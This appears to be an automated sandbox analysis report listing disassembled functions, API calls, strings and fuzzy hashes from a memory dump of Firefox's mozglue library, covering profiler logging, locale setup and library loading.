Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 07ccf8c9348fb108a9048cd0715a2e19fdfe60d886ef2e3e8cd857b3382259ed
Instruction ID: fe630419dfe08732ca20bbfb8c742133732ca18f115140b0b90d42f8d1311079
Opcode Fuzzy Hash: 07ccf8c9348fb108a9048cd0715a2e19fdfe60d886ef2e3e8cd857b3382259ed
Instruction Fuzzy Hash: 6651E071E053189BDB00DF68E9406EEB7B1EF5935CF08842DE8956BB40E73469C8D7A2

Function 6CA7A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA7A565

Part of subcall function 6CA7A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA7A4BE
Part of subcall function 6CA7A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA7A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA7A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA7A6B6

Strings

0, xrefs: 6CA7A5FB
z, xrefs: 6CA7A6AE

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 211135f10c61b7acafda7d71a4a9508cb0f67f9e265a8105c424d2cd65d3f32c
Instruction ID: 0f9638de47c50d17293162356b047da6142125c8108197c9467ec3e19c4aac4d
Opcode Fuzzy Hash: 211135f10c61b7acafda7d71a4a9508cb0f67f9e265a8105c424d2cd65d3f32c
Instruction Fuzzy Hash: D3415D75A097459FC351DF28D080A8BBBE5BF89344F409A2EF49987650E730D989CB93

Function 6CA49420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA3AB89: EnterCriticalSection.KERNEL32(6CA8E370,?,?,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB94
Part of subcall function 6CA3AB89: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
__Init_thread_footer.LIBCMT ref: 6CA4949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA49459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA4947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA4946B

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 36afcfdc00cec4dc32c6dffd2533aa1c5f57d1ef24ee9fd50c14c3cddc188f4d
Instruction ID: 67afb84242a15095b2f95baa21e43b53fb0be965c83359eb1ff2d74892e6f413
Opcode Fuzzy Hash: 36afcfdc00cec4dc32c6dffd2533aa1c5f57d1ef24ee9fd50c14c3cddc188f4d
Instruction Fuzzy Hash: 2101F534A022038BDB049B7CDE10A953279AB0732DF18C53BE90A86A41D631D8E68966

Function 6CA0B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B6AC

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA0B61E), ref: 6CA0B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA0B61E,?,?,?,?,?,00000000), ref: 6CA0B79A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 70b6d9297cc1baa58866ea7b5a6b54413a57887f0e2fb5afd8b480036973cf5f
Instruction ID: 3039d952df2e6dd0d6a1067820ab761b9fe039f9e5ddd9a209d55ccf7c738e9f
Opcode Fuzzy Hash: 70b6d9297cc1baa58866ea7b5a6b54413a57887f0e2fb5afd8b480036973cf5f
Instruction Fuzzy Hash: DF41D4B2E001158FCB14DF68ED806AEB7B5FF44368F290729E825E7780E731A94487E1

Function 6CA7B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CA7B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CA7B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CA7B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CA7B5F4
__Init_thread_footer.LIBCMT ref: 6CA7B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CA7B61F
std::_Facet_Register.LIBCPMT ref: 6CA7B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7B655

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 00404b230c084624abc5faeb21cc6e9fc20bcf487620ddb68465a16aa2bc7e2d
Instruction ID: c405b95ed287c119cf6a2cefe3f01a81ad682d963abe2ab8cd06493b84e15ddd
Opcode Fuzzy Hash: 00404b230c084624abc5faeb21cc6e9fc20bcf487620ddb68465a16aa2bc7e2d
Instruction Fuzzy Hash: 87319275B01216CBCF14DF68DC549AEB7B5FB8A324B148619DA06D7740DB30A847CBA1

Function 6CA51D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA51D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA51BE3,?,?,6CA51D96,00000000), ref: 6CA51D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA51BE3,?,?,6CA51D96,00000000), ref: 6CA51D4C
GetCurrentThreadId.KERNEL32 ref: 6CA51DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA51DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA51DDA

Part of subcall function 6CA51EF0: GetCurrentThreadId.KERNEL32 ref: 6CA51F03
Part of subcall function 6CA51EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA51DF2,00000000,00000000), ref: 6CA51F0C
Part of subcall function 6CA51EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA51F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA51DF4

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: dd2a7a36ddb492b0fb8d479742085401b8c625d4df16e415ebce79687dd1fa80
Instruction ID: 731b651795e28373c1cfd8f88290780200cf224803986a1ebc60fb46b07aa8f0
Opcode Fuzzy Hash: dd2a7a36ddb492b0fb8d479742085401b8c625d4df16e415ebce79687dd1fa80
Instruction Fuzzy Hash: 7B418BB5201701AFCB14DF28C888A66BBF5FB49314F50852DE95A87B41DB71E858CB90

Function 6CA484E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA484F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA4850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA4851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA4855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA4856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA485AC

Part of subcall function 6CA47670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA4767F
Part of subcall function 6CA47670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA47693
Part of subcall function 6CA47670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA476A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA485B2

Part of subcall function 6CA25E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA25EDB
Part of subcall function 6CA25E90: memset.VCRUNTIME140(6CA67765,000000E5,55CCCCCC), ref: 6CA25F27
Part of subcall function 6CA25E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA25FB2

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 0626e0cf22a8a11a9f9a8c9e19c474e95b44e6c128fecdcc9f3836e2daaf3a35
Instruction ID: e15950a7f9f11e2d33f1e5d7851c89c499bbd5bc685b0c625ea7385071de8ad4
Opcode Fuzzy Hash: 0626e0cf22a8a11a9f9a8c9e19c474e95b44e6c128fecdcc9f3836e2daaf3a35
Instruction Fuzzy Hash: 3221A3742017018FDB14DB24E888A5AB7B5BF4530CF18892DE55BC3B41DB31F999CB91

Function 6CA11640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA11699
VerSetConditionMask.NTDLL ref: 6CA116CB
VerSetConditionMask.NTDLL ref: 6CA116D7
VerSetConditionMask.NTDLL ref: 6CA116DE
VerSetConditionMask.NTDLL ref: 6CA116E5
VerSetConditionMask.NTDLL ref: 6CA116EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA116F9

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 84ee0c6ece2dbe6a5c4e7efe0d3e7ed0bfb915a28b1714a50a4a9db9f7d9a073
Instruction ID: 31308f715197436ab0721b252afa6bb96a99274caa630a840833752f6adc8f12
Opcode Fuzzy Hash: 84ee0c6ece2dbe6a5c4e7efe0d3e7ed0bfb915a28b1714a50a4a9db9f7d9a073
Instruction Fuzzy Hash: 6E2102B0B40309ABFB106A689C85FFB73BCEFD6704F008528F6459B6C0D6749D95CAA1

Function 6CA4F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA3CBE8: GetCurrentProcess.KERNEL32(?,6CA031A7), ref: 6CA3CBF1
Part of subcall function 6CA3CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA031A7), ref: 6CA3CBFA

Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
Part of subcall function 6CA49420: __Init_thread_footer.LIBCMT ref: 6CA4949F

GetCurrentThreadId.KERNEL32 ref: 6CA4F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA4F598), ref: 6CA4F621

Part of subcall function 6CA494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA494EE
Part of subcall function 6CA494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA49508

GetCurrentThreadId.KERNEL32 ref: 6CA4F637
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8,?,?,00000000,?,6CA4F598), ref: 6CA4F645
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8,?,?,00000000,?,6CA4F598), ref: 6CA4F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA4F62A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: cc7ebd27b8fc78acf5d688caf435f7c6686812928feb341117edb8bf1a0fdd76
Instruction ID: a5347847c4ba4db0b580aff825ae6f659295ad76095f4dbd020ffbe002637443
Opcode Fuzzy Hash: cc7ebd27b8fc78acf5d688caf435f7c6686812928feb341117edb8bf1a0fdd76
Instruction Fuzzy Hash: CA11EB35203306AFC708AF58DD449D57B79FB87358B50901AE90583F01CB31AC66CBA0

Function 6CA10EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA3AB89: EnterCriticalSection.KERNEL32(6CA8E370,?,?,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284), ref: 6CA3AB94
Part of subcall function 6CA3AB89: LeaveCriticalSection.KERNEL32(6CA8E370,?,6CA034DE,6CA8F6CC,?,?,?,?,?,?,?,6CA03284,?,?,6CA256F6), ref: 6CA3ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA3D9F0,00000000), ref: 6CA10F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA10F3C
__Init_thread_footer.LIBCMT ref: 6CA10F50
FreeLibrary.KERNEL32(?,6CA3D9F0,00000000), ref: 6CA10F86

Strings

CoInitializeEx, xrefs: 6CA10F36
combase.dll, xrefs: 6CA10F18

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 7e40ab0255f188c545154a2effc3e6902ae49294b28b60019e3acd9d68c698c1
Instruction ID: e98bccb2af26997183b942471a0b6a2d877aaa08b2504b8d359c2980ce98cf17
Opcode Fuzzy Hash: 7e40ab0255f188c545154a2effc3e6902ae49294b28b60019e3acd9d68c698c1
Instruction Fuzzy Hash: 26115E7460B3439FDF0CDF54CE19A463B79FB4B326F14822DE90592A80D730A896CA65

Function 6CA4F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
Part of subcall function 6CA49420: __Init_thread_footer.LIBCMT ref: 6CA4949F

GetCurrentThreadId.KERNEL32 ref: 6CA4F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4F561

Part of subcall function 6CA494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA494EE
Part of subcall function 6CA494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA49508

GetCurrentThreadId.KERNEL32 ref: 6CA4F577
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4F585
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA4F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CA4F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CA4F499
[I %d/%d] profiler_resume, xrefs: 6CA4F239

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: b0e38f4e6e609a66702c4d432e3bab4af8fb45128a667f693f4588d5489a3a0a
Instruction ID: 035323ae16345de3d98ed70886aa3c29d0082baeba3385daaa41b91f64c569d9
Opcode Fuzzy Hash: b0e38f4e6e609a66702c4d432e3bab4af8fb45128a667f693f4588d5489a3a0a
Instruction Fuzzy Hash: 44F0B475202302AFDB046B65ED48A9A7BBCFB8729DF00C11AEA0583702DB318C4A8771

Function 6CA4F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA14A68), ref: 6CA4945E
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA49470
Part of subcall function 6CA49420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA49482
Part of subcall function 6CA49420: __Init_thread_footer.LIBCMT ref: 6CA4949F

GetCurrentThreadId.KERNEL32 ref: 6CA4F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA4F598), ref: 6CA4F621

Part of subcall function 6CA494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA494EE
Part of subcall function 6CA494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA49508

GetCurrentThreadId.KERNEL32 ref: 6CA4F637
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8,?,?,00000000,?,6CA4F598), ref: 6CA4F645
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8,?,?,00000000,?,6CA4F598), ref: 6CA4F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA4F62A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 28361196d5651e77a8b54a672e3244e5c691ac82d6c587d9d82f8d063bfe3f1f
Instruction ID: 9f6d2f7a857260aa16e2a66fe23f78408ec7118593a6cb91dfb192be90a1d57d
Opcode Fuzzy Hash: 28361196d5651e77a8b54a672e3244e5c691ac82d6c587d9d82f8d063bfe3f1f
Instruction Fuzzy Hash: 97F0B475202302AFDB046B64ED48A9A7B7DFB8729DF00C11AEA0583702CB354C4A8770

Function 6CA10E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA10DF8), ref: 6CA10E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA10EA1
__Init_thread_footer.LIBCMT ref: 6CA10EB5
FreeLibrary.KERNEL32 ref: 6CA10EC5

Strings

kernel32.dll, xrefs: 6CA10E7D
GetProcessMitigationPolicy, xrefs: 6CA10E9B

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
